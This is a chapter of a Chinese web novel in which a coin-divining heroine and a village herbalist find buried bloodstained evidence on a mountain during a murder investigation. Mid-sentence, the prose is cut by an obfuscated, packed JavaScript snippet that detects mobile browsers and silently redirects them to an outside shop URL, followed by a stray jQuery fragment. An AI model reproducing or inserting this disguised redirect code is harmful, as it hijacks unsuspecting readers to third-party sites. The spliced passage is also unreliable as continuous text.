一只手轻飘飘地搭在闻钰的右肩,闻钰控制不住地抖了一下,短短一瞬间,脑子一片空白,只剩下一个念头——
这下她是真的无路可去了。
也不知这妖怪为什么找上她,难道是这山上有什么秘密,被她无意间发现了?可她不记得自己看到了什么呀……
死之前能见识一下上辈子见不着的生物,其实也挺好的。而且万一她运气好,能穿越一次,说不定还能穿越第二次呢。
妖怪怎么还不动手?原来人临死前还有时间想这么多乱七八糟的……
闻钰死死闭着眼不敢睁开,却听身后的妖怪说了人话:“——你还好吗?”
轻柔的女声,甚至还有些耳熟,闻钰缓了缓神,意识到似乎并没有危险,这才试探着睁开眼缓缓转身,看见陶阿妹的一瞬间,整个人大松一口气,腿一软直接坐到了地上。
“哎——”陶阿妹连忙上来搀扶她,“没事吧?”
“没事……就是吓着了。”闻钰借着她的力气重新站起身,陶阿妹能在这儿找到她,应是跟了她一路,可她跑了也有些距离,怎么对方看起来却脸不红气不喘的。
闻钰心里又暗暗升起警惕,松开她的手,往后退了一步:“你怎么在这?”
陶阿妹搀扶的手落了空,只微微顿了顿,就面不改色地收了回去,答道:“官府的人找我问话,得知你上了山,今日天色不佳,我担心你迷路,才跟了上来……也是想要感谢你早的时候帮我说话。”
闻钰想起自己胡编的那几句话,又问:“他们现在更觉得你是妖怪了,你不怪我?”
陶阿妹望着她的眼睛,诡异地沉默了几秒,然后摇了摇头:“我知道你是为我好,这种时候让他们怕我,比帮我解释没做坏事更管用。”
没等闻钰回答,陶阿妹便转过了身,朝着另一个方向走去:“快下雨了,我带你回去吧。”
闻钰应下,分神注意着脚下的路,小心翼翼地跟在她身后。
陶阿妹显然很熟悉这里的路,走得毫不费力,闻钰却看出来她还放慢了脚步好让自己跟上,心里的大石头在回到熟悉的泥巴路上时终于落了地,甚至还有心情同陶阿妹搭起了话。
“你常常上山吗?”
“嗯,山上很多草药。”
闻钰恍然点头,怪不得几次见到她,都背着个大箩筐,原来是用来装草药的。
“那你今日进城是要去卖草药吗?”
“对。”陶阿妹走到一块大石头旁时,忽地停下脚步,转头道,“你上山来是要找陈启出事的地方吧?这里就是。”
闻钰闻言环顾四周,发现这里的确就是那男子所说的地方,只是称它为平地可能不大合适,准确来说,只是比别的地方平缓些的山坡而已,难怪她没注意到。
只是现在天色阴暗,她晃眼过去,皆是模糊一片,只好道:“现在太暗了,我等雨停了再来吧。”
“山里的痕迹,一场雨冲过就什么都没了。若你真心要查,这就是最后的机会。”陶阿妹抬头看着云,“暂且还有些时间。”
这话说得有道理,想到赏金,闻钰只犹豫了一秒,便往平地那边的另一块大石处走去。
走近了才发现,因为光线不好,站在远处时看到石头上黑乎乎的东西并非长满的青苔,而是成片的干涸血迹,隐隐还能看出个人的形状。
只怕是陈启全身的血都被放干在此处了,就连走动时踩过的泥土都隐隐散发着一股血腥味。闻钰围着大石头走了一圈,不仅没看出什么来,还差点被这场景与气味刺激得一阵恶心反胃。
她真是太高估自己了,她在现代也就是个普通人,顶多偶尔看看刑侦剧,这种时候真要自己上场,完全没有头绪。
她到底是为什么要来走这一遭?官府的赏金是那么好赚的吗?
哦对,是硬币说来了会有好事呢……闻钰顿时有些懊恼,她之前迷路的时候太着急,都没想着靠算卦来找方向,白白受了这么一番惊吓,还浪费许多时间。
想到这里,她连忙从口袋里找出硬币,面对着大石头,在心中问出问题:附近有线索吗?字代表左边,花代表右边。
和抛硬币算卦的方式磨合了这些日子,闻钰已经摸索到了些门路,比如像这样,在抛硬币前事先想好哪一面代表什么,也能得到结果,有时候比问对错与是否更好用些。
她不知道这是不是就是神道长所说的“天赋”,但她算的卦越多,越能明显觉察到她与硬币之间的联系与默契,这种感觉很是奇妙。
硬币抛起的一瞬间,忽然刮来一阵强风,眼瞧着硬币被风刮走,闻钰瞳孔骤缩,飞快伸手去抓,这可是她吃饭用的东西啊,绝不能弄丢了!
可接下来发生的一切似乎又在预料之中,硬币顺着她的手指缝隙漏了出去,砸到不远处的一块岩壁上,发出轻微的碰撞声。
闻钰连忙循着声音找过去,蹲下身,在一丛丛草木中发现了落在地上的银色圆片。
还好找到了,她安下心来,伸手捡起,却皱了皱眉,将硬币放到鼻边仔细又闻了闻——
怎么硬币上也有一股浓浓的血腥味?
确认了不是自己手上的味道,闻钰又低头望着硬币落下的位置,用手指捻起一些泥土,无法分辨出是否有血色,又凑近闻过,这才确认了这里竟也有血迹。
可是……她回头看了眼那块布满血迹的大石,和这里分明隔了六七米的距离,石头的位置也比这里矮一些,就算是血液飞溅或是渗透至地上,都不至于会到这个地方来。
闻钰摸索着周围的泥土,发觉果真都只是普通的泥土,便越发奇怪了。难道是另一人的血?还是陈启在那块大石头上被放血之前,就已经受了伤,滴落在了此处?
她蹲在原地沉思着,目光忽地又落到手里的硬币上,冥冥之中似乎是硬币指引她来查看此处,而硬币落地时又是字的那面朝上……闻钰抬起头望向左手边,一边仔细观察着地面一边摸索着向前。
走出去两三米远,忽地,她注意到前方有一片泥地和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481199|201748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周围都不太一样,即便在这样的天色下也能看出颜色更深,且杂草的数量也更少,像是近期被人翻动过。
闻钰自己没有太多野外的经验,正想请陶阿妹来瞧一瞧,却先听见了对方的催促声:“雨就要来了,不能再留了,我们得下山了。”
“你快过来瞧瞧,这里!”
“发现东西了?”陶阿妹快步过来,看见那片泥地,皱了皱眉,也道,“有人动过这里?”
“应该是,怎么办?不知道下过雨之后还能不能找到什么。”
这松动的泥土,雨一淋还能剩下什么?
陶阿妹眉心紧拧,迅速从旁边的树上折下一段树枝插在地上,又摆了块小石头在树枝旁边,做完这些,大颗大颗的雨滴已经从空中坠落,打湿二人鬓边的发。
闻钰还没反应过来,陶阿妹就拽着她往山下狂奔,“我记住位置了,我们先下去找人。”
到了山脚下,二人的头发几乎湿了大半,却见进山的路口没了守卫的身影,二人心里都是一紧,又继续往前跑,好在走了不远就瞧见了穿着暗红色衣袍的两名守卫,他们步履飞快,瞧着也是要去躲雨的样子,闻钰见状立刻大喊道:“二位官爷!”
守卫们齐齐停下脚步,闻钰见他们转身,继续道:“我们发现了线索!”
守卫们如何不知这山中的痕迹保存不了太久,更何况正下着大雨,若哪里的土石被大雨冲刷后变得松动,那片平地与两块大石都指不定没了影踪。
他们对视一眼,一人果断往村里去通知陆旭,另一人则大步上前,跟着闻钰二人重新上了山。
等陆旭带着一队人赶到,就见他们三人已经将那片泥地挖了个大坑,闻钰手上是沾满泥土的剑鞘,另两人则是满手泥。
陆旭见状,庆幸自己让人带上了工具,三人让了位置给他们,躲到伞下,站到一旁和陆旭说明情况。
“你们发现了什么?怎么好端端的挖起土来了?”
闻钰将自己的发现如实说出,捕快们动作都很快,就说几句话的功夫,已经挖了快有一人高的深度。陆旭听完,皱眉看向那个土坑。
这个案子古怪得很,希望这个土坑里真能找出些什么不寻常的东西,否则,只得等到——
“头儿,好像有东西!”
陆旭一个激灵,连忙上前到坑边查看。
唤他来的捕快继续挖着,很快看清了东西的全貌:“是把斧头!不过后面好像还有东西……”
斧头被人递到陆旭手里,他前后翻看着,思考着这坑里的斧头会是什么意思。
“头儿,后面好像就是一块石头……不对,这石头上好像有血!伞!”
两把伞严严实实地挡住雨,石头送到了陆旭面前,但雨已经下了有一会儿,防不住雨水与泥土的覆盖与冲刷,上面的血痕已经被洗去了大半。陆旭仔细将东西包好,吩咐坑里的人再找找还有没有别的东西,便先带着闻钰几人下了山。
狭窄的山路旁,一个人影猛然闪进树丛中。